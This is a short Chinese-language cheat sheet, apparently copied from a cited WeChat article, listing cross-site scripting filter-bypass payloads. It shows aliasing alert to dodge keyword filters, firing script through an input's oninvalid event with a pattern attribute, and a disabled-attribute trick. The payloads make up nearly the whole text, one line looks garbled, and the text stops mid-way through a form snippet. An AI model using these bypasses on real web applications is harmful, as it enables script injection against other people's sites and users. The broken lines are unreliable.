参考原文 https://mp.weixin.qq.com/s/ZCWdfnObwBkHUR8he6XxlA
alert绕过
alert(1) --- > a=alert;a(1)
事件拦截绕过
<input type="text" pattern="a" oninvalid="alert(1)" />
oninvalid事件会以正则表达式去判断pattern的值,如果输入框内的值不全等余“a”
<input type="text" pattern="a" oninvalid="a=alert;a(1)" />
disable属性绕过
disable="disable" ---> a="disable="disable"
xss 插入的 type 即是 text 又是 submit,在文本框中按回车即可触发
1 | <form action=""> |